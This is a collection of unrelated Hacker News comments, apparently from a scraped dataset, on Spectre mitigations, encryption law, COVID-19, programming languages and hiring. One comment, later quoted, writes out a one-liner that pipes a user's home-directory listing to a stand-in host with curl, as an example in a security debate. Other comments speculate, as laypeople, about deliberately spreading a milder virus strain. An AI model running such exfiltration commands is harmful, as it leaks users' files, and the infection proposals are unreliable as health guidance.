skysight-inc/HackerNews huggingface dataset:
I address this in the post. The answer is no it is not just another vaccine approach.
Would your opinion change if the EARN IT bill passes? You’d now have the App Store forced to ban apps that won’t share encryption keys with US Govt. if I understand it correctly. That complete lack of choice to side load apps with strong encryption is grating to me. I don’t know if I can trust Android either (proprietary code that calls home to Google or Samsung) so I have no idea how to choose at this point.
> When Congress gives every American $1,200 money

maybe you're using this just as a generalization to not have to state all the details, but just to be clear, that isn't what's happening.
> you should not use this command on a system that's running untrusted code from anywhere in any context

I don't really understand this point.

Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user with a script that'd involve `ps -u` and `/proc/yourpid/maps`, mitigations or not, unless you use something like QubesOS (but most people do not).

Leaking bits with spectre would be a super long process versus... just doing that if you could already get the user to download your code.
I've yet to see reports of one running involuntarily in the wild.
Don't browsers fudge the accuracy of the available clocks already to mitigate SPECTRE?
Only if you need to ship something with Flutter, the last attempt to rescue Dart.

However it still remains to be seen how long they will fund the team.

Chrome team cares about PWAs and Android team about JetPack Composer, and eventually having it compatible with Kotlin/Native (for iOS).

So it is still a big question mark why bother with Flutter, specially when it still lacks several usable production ready plugins for native features.
Lets solve this issues once we find the right attenuated strain. Personally I think these sort of social problems will be overcome once we compare with the alternative of sitting around waiting for a vaccine.
Web includes a very large number of Windows Server environments, either on premises or in the cloud. You really underestimate how dominant Windows is in many enterprises.
China has shitty positioning too. USA was positioned to be a beacon of freedom since it's founding. Meanwhile China is position as what... Authoritarian country that loves to slaughter it's citizens in various ways? That's not exactly a great idea to sell to the world. The only way China can get on top is by holding the rest of the world hostage. Either by military or commerce backed by military. But as all relationships built on fear, that'd be quite a fragile position.
I think you're fine! But just to try and deconstruct... similar phrasing:

> Yes... that's the entire point of xyz -_-;

...is semi-frequently used to imply "what you said is obvious" with a sort of... dismissive undertone, which might've been what miles was reacting to. Breaking the phrase up a bit more and making it a bit more casual/chipper somehow feels harder to misinterpret this way? Even without resorting to emoji as I have here:

> Yep! That's the point of xyz :)

But I could see myself using your phrasing as a native speaker, so I wouldn't worry about it too much ¯\_(ツ)_/¯
I know you often do so anyways, but perhaps these kinds of reposts deserve a comment explaining their circumstances.
So where are the Swift bindings for Oracle, Informix, SQL Server, DB2?
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I suspect even the first world will be interested in options like this after a few more months of social isolation.
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They know which parts of the RNA express the spike protein that our antibodies recognise. If the spike protein is not affected, then the virus should still be good for training our immune system to respond to.
> Hey guys,

Are you interested in feedback from women, too?

Because that’s not how you get women interested in giving you feedback.
Is this needed for AMD based machines
Please provide context on the imperial spy claim. I am guessing you and parent are referring to Khashoggi.
Similarly, I have heared that the main cause of Irak war was that Sadam Hussein wanted to sell oil in euro.
Its becoming the facebook for the workforce, lots of noice.
I think the real issue is that people assume that the success of the company depends on the quality of the employees. This isn’t true, what dominates is the match between consumer and product. And you simply can’t predict the market that well, that’s the benefit of capitalism.
It is not really my style to boast about myself, but yes I should at least provide a link to the about me page.
Or what if I’m being picky? I made a mistake of expediency in accepting my current job, and it’s not the first time. Several people I trust have been trying to talk me into applying to more places and turning them down if I don’t see what I’m looking for on their end. But they tend to overbook and one of the first things to go is your opportunity to ask questions.

Which is, really, as good a way to learn about someone as most of the techniques we try. You only have ten or fifteen minutes to ask the company questions. What did you hunk was worthwhile to expend that time on?
A compiler alone doesn't make an eco-system.
If you are storing points, you probably want to do things with that data. You don't know exactly what yet, but having standard formats and tooling is probably a good idea.

What is the downside, exactly? I guess you have to learn a few things, but it might be good to know anyway.
They could exchange them for Euros.
I trust all of my programs as I use either only open-source or "big-player" packages. The only problem would seem to be JS from shady websites.

I guess now the question is, how much time to I have to spend on that site before it can get my private ssh keys?
They already have such a feature: on-demand resources (https://developer.apple.com/library/archive/documentation/Fi...)

The change seems to be that this allows all code to be downloaded on demand, not just scripts.
I created a throwaway account to get the details of someone who crashed into me approximately 10 years ago.
It still periodically attacks my spam box and it hasn’t been used excerpt for that 1 time.
Is there anything like this that's not an online hosted service?

I would not trust my personal knowledge base on something I do not directly control.
Useful answers like these is why you ask codemonkeys :)
SU is now mix.com, I thought?
Yes this is true. For the purpose of my idea it doesn’t matter if the person is asymptomatic or they just have a mild case. What is important is the strain identified doesn’t put people in hospital.
The pertinent patents were filed in '96, so it's almost certainly not that?
Probably because most systems quickly adopted mitigations and attackers then moved back to lower-hanging fruit.
> When I say production machine learning, I’m referring to machine learning that manifests as a product feature. For example, Uber’s ETA prediction, or Gmail’s Smart Compose.

You can bet that prod services from companies you heard of are running on something more analogous to versioned docker images. Not a yaml file which says, 'Go run whatever predict.py is in the current folder.'

The moment one of your dependencies breaks your code, or snookers your performance, there will be a lot of head scratching going on.
Given that the video is entirely scornful prescriptivism, I'm glad to be scornful over anyone who likes it.
Losing 1% of humanity and losing 0.5% of humanity are in the same neighborhood of terrible.
If you're going to end up paying what it would cost you to hire the trained person anyway to avoid having your staff leave for higher wages, that heavily reduces your incentive to put a lot of resources in to training. Training + market rate compensation is more expensive than just market rate compensation.
Google had no other option given that:

1 - Many InteliJ plugins are now written in Kotlin (Android Studio)

2 - They really screwed up with Android Java dialect and people were looking for alternatives

3 - They need an exit story for when the hammer of justice finaly falls down on how they screwed up Sun
I think it's a meant to be tongue in cheek. However I agree that "Make $object $adjective again" is inextricably linked to the Trump campaign, so if anyone is using it I hope they realise that they'll be either be thought of as right-wingers or satirists by much of their audience.
I'm not sure how much I want to replace the pseudo-IQtest system with the system where we hire based on classism offset with racism.
So where are the Swift compilers for smaller embedded devices like a Pi or Nano?
It should have been done years ago. Otherwise one day you may wake up and realize all your critical supplie chains (including not only iPhone, but also medicine and medical equipment) could be broken by communist totalitarian state, so you grip your teeth and love Communist Party and Comrade Xi, so as average Chinese citizen.
Have you posted it here?

https://crowdfightcovid19.org/
This is a very emotional piece. While a lot of his points are true from some perspective, they seem to come from an expectation that Elm should be treated the same as enterprise languages or frameworks, whose ultimate goal is to "get traction and adoption" as success measure.

I have used Elm in a hobby project, a multiplayer web game, which I have been developing over 4 years now. Elm has been a complete joy. New features and refactors are done incredibly fast AND safe. I believe this is due to Elm's restrictions letting no unsafe code "in".
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The cortex tool mentioned looks really useful to get a service running out of a trained model. Though I didn't really understand what the article is trying to get at. Storing your deployment configuration in yaml and json files is pretty much the standard.
The “do you know this person on LinkedIn“ have been quite successful in making sure I never make a LinkedIn, something I would like to uphold even as we enter an economic recession.
Because it has very little relevance to 95% of software jobs.
Could this be used to test android apps in CI? Where traditionally you run up against nested virt problems (in aws).

Not mentioned as a purpose..
Not doing something is very risky too. This is a problem with only hard choices.
I imagine doctors are rarely hired "cold" - they have some sort of prior relationship with the hiring institution or someone working there. E.g. they are already consulting there, or another doctor who works there has worked with them closely on a case etc.

Same for lawyers. You'd be targeting someone whom you've dealt or worked with in prior lawsuits (maybe they were the opposition counsel), deals (counsel for the other party), or complex cases involving multiple law firms working for the same side.
It's maddening, but I also appreciate the consistency. Nothing worse than inconsistent spelling!
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Thank you for the info. I just searched and found this post https://www.sinosplice.com/life/archives/2018/11/15/e-ink-fo...
Reads like someone was forced by their marketing team to write an article about anything at all.
> Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user

There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root?

I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but...

I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.
On second thoughts perhaps the idea wouldn’t work in countries that don’t have an effective lockdown. Could the infection wave of a less dangerous genotype overtake the number of infections of the more dangerous genotype before the population has been mostly infected already?
Nope, it's more of a case of software engineers stroking their own egos. Grinding leetcode is the prime example of that - developers worshipping crystallized knowledge when the IQ test is supposed to test for how quickly someone can learn rather than relying on rote.
I want to argue that the flaw in this is with the ability to find any strain that consistently causes only minor symptoms. If you infect a whole group of people with Covid-19 then we would see a distribution of severity from no symptoms to lethal. This broad spectrum is really just it's statistical variance (whatever the underlying distribution really looks like).

It is worth comparing this to things like SARS. The distribution of SARS symptoms would be pretty narrow - everyone gets really sick. So the variance for SARS is small compared to Covid-19. The same could be observed for influenza or rhinoviruses.

The problem with a "milder" Covid-19 is that it might still have the same massive variance in symtpom severity. It might kill less people, but it would still be morally bankrupt to let it spread. In fact, it might be preferable to not reduce the mean severity, but just decrease the variance so it never gets nasty enough to kill without being immuno-compromised.
There are sufficient amounts of crises that make disaster recovery sites commercially feasible https://www.bbc.com/worklife/article/20200320-how-firms-move...
It depends how you measure inflation. Over the past decade or so we've seen what I've heard described as "biflation" - imported deflation in the prices of many goods alongside pretty high rates of inflation in some services, goods and assets (like company shares or real estate in some markets). Traditional measures of consumer price inflation are pretty heavily skewed towards goods and within those slightly skewed towards goods which come with imported deflation so when that all gets averaged out it shows slightly below target inflation but the headline numbers really don't tell you as much as they used to.

Whether this continues I have no idea but it's worth thinking about the components of "inflation" and what is and isn't included when considering its impact on the economy.
As a 10 year old child in the early 80s:

10 LET A$ = "Hello world"
20 PRINT A$
30 GOTO 10
Last I checked there were over a dozen patents from the 1990s to the 2010s that cover everything from manufacturing to software. IIRC the most important patents actually cover some algorithms on the display controller that won't be public domain until the mid to late 2020s.
Gatekeeping what can be a burger or not is strange. Are you randomly ordering burgers and expecting a single recipe? What about those with chicken or fish in them, they also don't match the original recipe, which means you have to inform yourself about what's inside a given burger if you want a specific one anyway.

What about Coconut milk? Peanut butter? Do you think we should change their names too?

"Veggie burger" is a pretty well defined term at this point.
> We found, in our 788 confirmed COVID-19 patients, the decreased rate of severe/critical type, increased liver/kidney damage and a prolonged period of nuclear acid positivity, when compared with Wuhan.

So how are we gonna deal this increased liver damage then, if we are actually gonna use this less pathogenic branch of the virus as a quasi-vaccine?

Is there way to reengineer this virus so that it would be less kidney/liver damaging?
programming languages (parts a, b, and c) by dan grossman

https://www.coursera.org/learn/programming-languages

introduces the underpinnings of programming languages via standard ml, racket, and ruby.
This is a huge problem for the whole vaccine approach and is one of the reasons that it may not be possible to create a conventional vaccine.
Mistakes with Pandas
Guess which factory will be the first to be sold off to private investors if we haven't had a pandemic in, say, 5 years?

You can't run long-term planning like this in a country where one party has short-term gains as one maxim, and limited government as the other.
I don't think the mutations are the reason for asymptomatic cases. Coronaviruses mutate very slowly.

More likely, viral load, immune system strength, overall age and the genetics of the person infected are what determines if the infection is fought off before any symptoms are shown
I'm a layman to this topic but it makes total sense that we should be pursuing this approach. At some point, it needs an influential person to back it and help remove the red tape. I think it could be done though. Probably just needs money first to find the right mutation and that would be the lure for an influential person.
The title is seriously misleading. They aren't doing their ML engineering in yaml. If you look at the snipper the article, you can see that their code is in flat .py files. The config is in yaml (which is also how everyone else uses it). It's like someone saying that they do their ML in a dockerfile.
While it might be straying slightly towards the off-topic, the second part is a very astute observation and an interesting connection that I did not personally make at first glance.
> There's no reason to believe Apple could suddenly solve it in a few months if they just cared a little harder.

No, they really could just solve it. Progressive web apps are so close to being useful. Apple just refuses to make them user-friendly to install. Just look at android for what's possible https://web.dev/progressive-web-apps/
And anyways, the harsh lockdowns currently implemented are basically forcing the virus to evolve into being asymptomatic.
Currently, anyone with even mild flu-like symptoms stays home
> There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root?

I'll be honest, because that's the default on Linux (I'd make the effort to do that for my personal things at least - I'd never do that on computers with shared accounts or with work-related data).

https://xkcd.com/1200 is as true as it ever was.
I address this exact point in my post. This has nothing to do with the proposal.
In theory the idea would work. People being cooperative enough is where I'm skeptical. I assume anyone in the high risk group would volunteer to receive the less-dangerous strain and when the incentive of lowering risk of death is obvious. I speculate young people wouldn't volunteer unless they have a health issue placing them in the high risk group.
Since it looks like your webcam is mounted to a stationary PC and you're only really writing this for yourself, wouldn't it be a lot easier to just subtract out a static picture of your background from the feed?
This entire post would be incredibly concerning if I were your superior.
Captain at the time. I believe Commodore was the title at retirement, which would now be called Rear Admiral.

I realize this is fussy. It's fair to say Captain in an old, old article. I think the site requires no editorialization of headlines.

But much like the title President, is retained for life. I've got no problems referring to Admiral Hopper. I was very small when she passed, so all of my information is second hand at best. By all accounts she was an unstoppable force of nature. Purely out of respect for her drive and ability, the title really should be Rear Admiral Grace M. Hopper: The Mother of COBOL.

The nanosecond wire alone should be a compelling argument. Truly a hacker.

(also, the whole magazine is a strange window into the past. the cartoon on the page above is hilarious. providing a reading time for a resume is unthinkable today)
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https://www.theverge.com/2020/4/8/21214059/google-hangouts-m... you would be incorrect
I'd add that US political system is much more stable and trustworthy unlike countries without democracies and/or corruption perceptions. Presidential powers are far more limited, well scrutinized and things can easily be challenged in courts. If I held US dollars today I would be relatively more certain that it will retain value than other currencies. If all else fails one can count on US to exercise its military might to protect the dollar.
The global sequencing effort makes this reasonably straightforward to study. While the prevalance of different strains does vary geographically, new international tranmission events occur so frequently that most places have a handful of circulating strains already [0]

[0] https://nextstrain.org/ncov/europe
I doubt "most people" think anything of the kind. Digital pyrite, perhaps. Considering that btc has tanked along with the market (only more so) why would it make a good hedge? BTC is for gambling, and everyone knows it, so when the world gets scary the bottom falls out of cryptocurrency first.

There is no reason to believe BTC will not crash that's more solid than people smiling knowingly and saying "it can't, it's the future". It's not, though.
Oh god I hate LinkedIn. Full of "I'm awesome and smart" people. But maybe it's just me.
> this sounds like it'd not be more than a stylus sensor behind the display (as usual)

And that would be a wrong guess. Eink readers with wacom styluses are not particularly new (e.g. Hanvon, onyx etc.). The remarkable 1's "claim to fame" was a greatly improved latency compared to these, i.e. to be much better than what you describe.
The linked site (towardsdatascience) is kind of like medium blogs. High variability in quality with a lot of self-promoters and the occasional diamond in the rough. But a ton of rough.
> Second, the entire interview process rewards people who study for the interviews rather than those who like to build projects. Unfortunately I believe companies miss out on a lot of qualified candidates, albeit reducing their false-positives from obscure algorithm-type problems. With so many applicants, reducing false-positives ensures quality hires so it works on the company’s end.

There's still quite a lot of signal for an interviewer in someone being ready to do the extra work to achieve the goal (e.g. study for interview) vs. someone how doesn't want to invest time into studying and just wants to throw stuff together. This is especially important for junior developers (since as a company you'll want to train them up long-term to be promoted into higher level), but still remains important for senior developers (since being stuck with someone who refuses to learn new skills is a long-term problem for the company).
Tinderbox if you’re on a Mac.
Perhaps for young people it's actually necessary to mention JSON and YAML as you people tend to read the news rather than history or best practises textbooks?
I find the quality of articles on towardsdatascience.com has significantly decreased in the past months. This article is no exception.
Law enforcement needs to understand that they live under the rule of law.

Otherwise, it would just be another police state: a shadow dictatorship.

Either the rule of law is universal or the country is not free.

Freedom of communication means freedom to hide it (I must be able to use a one-time-pad with whomever I choose).